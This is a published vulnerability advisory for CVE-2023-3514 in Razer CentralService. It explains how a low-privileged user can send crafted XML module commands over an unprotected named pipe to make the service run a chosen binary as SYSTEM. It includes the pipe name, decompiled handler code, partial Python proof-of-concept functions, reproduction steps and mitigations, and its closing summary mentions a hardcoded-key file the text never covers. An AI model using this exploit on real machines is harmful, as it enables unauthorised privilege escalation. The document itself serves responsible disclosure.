Summary

Product Razer CentralService
Vendor Razer
Severity High - Adversaries may exploit software vulnerabilities to obtain privilege escalation.
Affected Versions Razer Central 7.11.0.558 and below
Tested Versions Razer Central 7.8.0.381 to 7.11.0.558
CVE Identifier CVE-2023-3514

CVSS3.1 Scoring System

Base Score: 7.8 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview

Razer Synapse 3 is a software suite developed by Razer, a leading gaming hardware manufacturer. It serves as a centralized hub for customizing and optimizing Razer peripherals, including keyboards, mice, headsets, and other gaming accessories. With its intuitive user interface, Synapse 3 allows gamers to personalize their devices by creating unique profiles, assigning macros, and fine-tuning settings such as lighting effects and DPI sensitivity. This software provides seamless integration with cloud storage, enabling users to access their personalized configurations from anywhere. With its advanced features and extensive compatibility, Razer Synapse 3 empowers gamers to enhance their gaming experience and gain a competitive edge.

Version

Description of the vulnerability

There is a service named RazerCentralService.exe installed, which plays a crucial role in managing user information and notifications. Applications establish communication with this service through a namedpipe. However, an unfortunate bug exists in RazerCentralService.exe, which can potentially enable users with low privileges to execute code as the system. This vulnerability affects computers with the RazerCentralService installed.

Services

The RazerCentralService.exe uses NamedPipe to communicate with other processes.

pipeperm

pipe_name = r'\\.\pipe\{FC828A97-C116-453D-BD88-AD471496E03C}'

The provided code assigns the variable pipe_name with the name of the currently used pipe, represented as \\.\pipe\{FC828A97-C116-453D-BD88-AD471496E03C} in this example.

It’s important to note that several services can be accessed via NamedPipe without undergoing appropriate sanitization. This lack of sanitization exposes them to potential security risks.

namespace Razer.ActionService
{
	// Token: 0x02000006 RID: 6
	public enum RzServiceType
	{
		// Token: 0x0400001B RID: 27
		UpdateManager = 2,
		// Token: 0x0400001C RID: 28
		AccountManager = 4,
		// Token: 0x0400001D RID: 29
		Notifications = 5,
		// Token: 0x0400001E RID: 30
		ActionCenter
	}
}

The `UpdateManager`` service provides the following functionalities:

public class UpdateManagerIpcWrapper : UpdateManagerIpcBase, IDisposable
	{
		// Token: 0x060002AA RID: 682 RVA: 0x00010510 File Offset: 0x0000E710
		public UpdateManagerIpcWrapper(IUpdateController controller, IUpdateManager manager, INacServiceClient nacClient)
		{
			this.m_manager = manager;
			this.m_controller = controller;
			this.m_nacClient = nacClient;
			this.m_controller.UpdatesAvailable += this.FireUpdatesAvailable;
			this.m_manager.ProductRegistered += this.FireProductRegistered;
			this.m_manager.CheckingForUpdates += this.FireCheckingForUpdates;
			this.m_manager.InstallComplete += this.FireInstallComplete;
			this.m_manager.DownloadProgress += this.FireDownloadProgress;
			this.m_manager.DownloadComplete += this.FireDownloadComplete;
			this.m_manager.ModuleInstallStart += this.FireModuleInstallStart;
			this.m_manager.InstallProgress += this.FireInstallProgress;
			this.m_manager.ModuleDownloadProgress += this.FireModuleDownloadProgress;
			this.m_manager.ModuleDownloadComplete += this.FireModuleDownloadComplete;
			this.m_manager.OptionalModuleInstallStart += this.FireOptionalModuleInstallStart;
			this.m_manager.OptionalModuleInstallComplete += this.FireOptionalModuleInstallComplete;
			this.m_manager.OptionalModuleUninstallStart += this.FireOptionalModuleUninstallStart;
			this.m_manager.OptionalModuleUninstallComplete += this.FireOptionalModuleUninstallComplete;
			manager.EndpointChange += this.FireEndpointChange;
			base.RegisterHandler(Commands.AddModule, new Func<IRazerSocket, byte[], byte[]>(this.HandleAddModule));
			base.RegisterHandler(Commands.RemoveModule, new Func<IRazerSocket, byte[], byte[]>(this.HandleRemoveModule));
			base.RegisterHandler(Commands.Register, new Func<IRazerSocket, byte[], byte[]>(this.HandleRegister));
			base.RegisterHandler(Commands.RegisterForUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleRegisterForUpdates));
			base.RegisterHandler(Commands.GetUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetUpdates));
			base.RegisterHandler(Commands.GetInstalledOptionalModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetInstalledOptionalModules));
			base.RegisterHandler(Commands.GetAvailableOptionalModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetAvailableOptionalModules));
			base.RegisterHandler(Commands.GetOptionalModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetOptionalModules));
			base.RegisterHandler(Commands.CheckForUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleCheckForUpdates));
			base.RegisterHandler(Commands.DownloadUpdate, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadUpdate));
			base.RegisterHandler(Commands.PauseDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandlePauseDownload));
			base.RegisterHandler(Commands.PauseModuleDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandlePauseModuleDownload));
			base.RegisterHandler(Commands.CancelDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandleCancelDownload));
			base.RegisterHandler(Commands.CancelModuleDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandleCancelModuleDownload));
			base.RegisterHandler(Commands.InstallUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleInstallUpdates));
			base.RegisterHandler(Commands.GetInstalledSoftware, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetInstalledSoftware));
			base.RegisterHandler(Commands.PostponeUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandlePostponeUpdates));
			base.RegisterHandler(Commands.ShowUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleShowUpdates));
			base.RegisterHandler(Commands.SetIconPath, new Func<IRazerSocket, byte[], byte[]>(this.HandleSetIconPath));
			base.RegisterHandler(Commands.InstallModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleInstallModules));
			base.RegisterHandler(Commands.DownloadModule, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadModule));
			base.RegisterHandler(Commands.UninstallModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleUninstallModules));
			base.RegisterHandler(Commands.GetRegisteredProducts, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetRegisteredProducts));
			base.RegisterHandler(Commands.RegisterDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleRegisterDevices));
			base.RegisterHandler(Commands.UnregisterDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleUnregisterDevices));
			base.RegisterHandler(Commands.ClearRegisteredDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleClearRegisteredDevices));
			base.RegisterHandler(Commands.GetRegisteredDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetRegisteredDevices));
			base.RegisterHandler(Commands.SetEndpoint, new Func<IRazerSocket, byte[], byte[]>(this.HandleSetEndpoint));
			base.RegisterHandler(Commands.GetEndpointDetails, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetEndpointDetails));
			base.RegisterHandler(Commands.GetEndpointDetailsEx, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetEndpointDetailsEx));
			base.RegisterHandler(Commands.Setting_SetCheckAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleCheckForUpdatesAutomatically_Set));
			base.RegisterHandler(Commands.Setting_GetCheckAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleCheckForUpdatesAutomatically_Get));
			base.RegisterHandler(Commands.Setting_SetDownloadAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadAutomatically_Set));
			base.RegisterHandler(Commands.Setting_GetDownloadAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadAutomatically_Get));
			base.RegisterHandler(Commands.Setting_SetUpdateInterval, new Func<IRazerSocket, byte[], byte[]>(this.HandleUpdateInterval_Set));
			base.RegisterHandler(Commands.Setting_GetUpdateInterval, new Func<IRazerSocket, byte[], byte[]>(this.HandleUpdateInterval_Get));
			base.RegisterHandler(Commands.Setting_SetMaxDownloadSpeed, new Func<IRazerSocket, byte[], byte[]>(this.HandleMaxDownloadSpeed_Set));
			base.RegisterHandler(Commands.Setting_GetMaxDownloadSpeed, new Func<IRazerSocket, byte[], byte[]>(this.HandleMaxDownloadSpeed_Get));
			base.RegisterHandler(Commands.Event_ModuleInstallStart, new Func<IRazerSocket, byte[], byte[]>(this.RouteModuleInstallStart));
			base.RegisterHandler(Commands.Event_ModuleInstallComplete, new Func<IRazerSocket, byte[], byte[]>(this.RouteInstallProgress));
			base.RegisterHandler(Commands.Event_InstallComplete, new Func<IRazerSocket, byte[], byte[]>(this.RouteInstallComplete));
		}

After thoroughly examining the code, we stumbled upon an interesting revelation: the AddModule and UninstallModules commands possess the crucial functionality required for generating a fraudulent module and running our binary with the highly desirable SYSTEM privilege. These commands have the ability to accept input in xml formats. By cleverly constructing a malicious xml input, we can make RazerCentralService.exe to execute our binary with the mighty SYSTEM privilege.

def add_module():
	product = 'Emily3'
	module = 'my_test_module'

	version = struct.pack('<IIII', 0x11223344, 0x11223344, 0x11223344, 0x11223344)
	update_module = '''
<a>
<Module>
	<AdminPrivilegeRequired>1</AdminPrivilegeRequired>
	<SynapseRestartRequired>0</SynapseRestartRequired>
	<Description>desc</Description>
	<Name>my_test_module</Name>
	<DisplayName>my_test_module</DisplayName>
	<FileName>D:\\test.exe</FileName>
	<Visible>1</Visible>
	<IconPath>C:\\ProgramData\\Razer\\Razer Central\\Update\\GameBooster2\\AppIcon.ico</IconPath>
	<LaunchFilePath>D:\\test.exe</LaunchFilePath>
	<DownloadURL>http://127.0.0.1</DownloadURL>
	<UninstallFilePath>C:\\Windows\\System32\\notepad.exe</UninstallFilePath>
</Module>
</a>
'''

def uninstall_modules():
	product = 'Emily3'
	modules = '''
	<a>
		<String>my_test_module</String>
	</a>
'''

	data = serialize_string(product)
	data += serialize_string(modules)

	p = create_message(UpdateManager, UninstallModules, data)
	send_packet(p)

Here is a proof of concept (POC) written in Python 2 that you can use to execute notepad.exe as the SYSTEM user. Simply run the POC code provided here.

Reproduction Steps

For simplicity, follow the following steps to re-produce.

  1. Install the Razer software.
  2. Install Python 2 and the necessary Python modules.
  3. Log in and wait for 3-5 minutes to ensure that the directory at C:\ProgramData\Razer\Razer Central\Accounts exists.
  4. Execute the exploit script using Python 2.

Conclusion

In summary, relying on an encrypted file with a hardcoded key is not a dependable security measure. When operating as the SYSTEM user, it is crucial to exercise prudence in your actions. To tackle this problem, consider implementing the following measures:

  • Verify that the NamedPipe has the appropriate permissions configured.
  • Sanitize any untrusted input originating from the NamedPipe to prevent potential vulnerabilities.

Credits

Phan Thanh Duy (@PTDuy) of STAR Labs SG Pte. Ltd. (@starlabs_sg)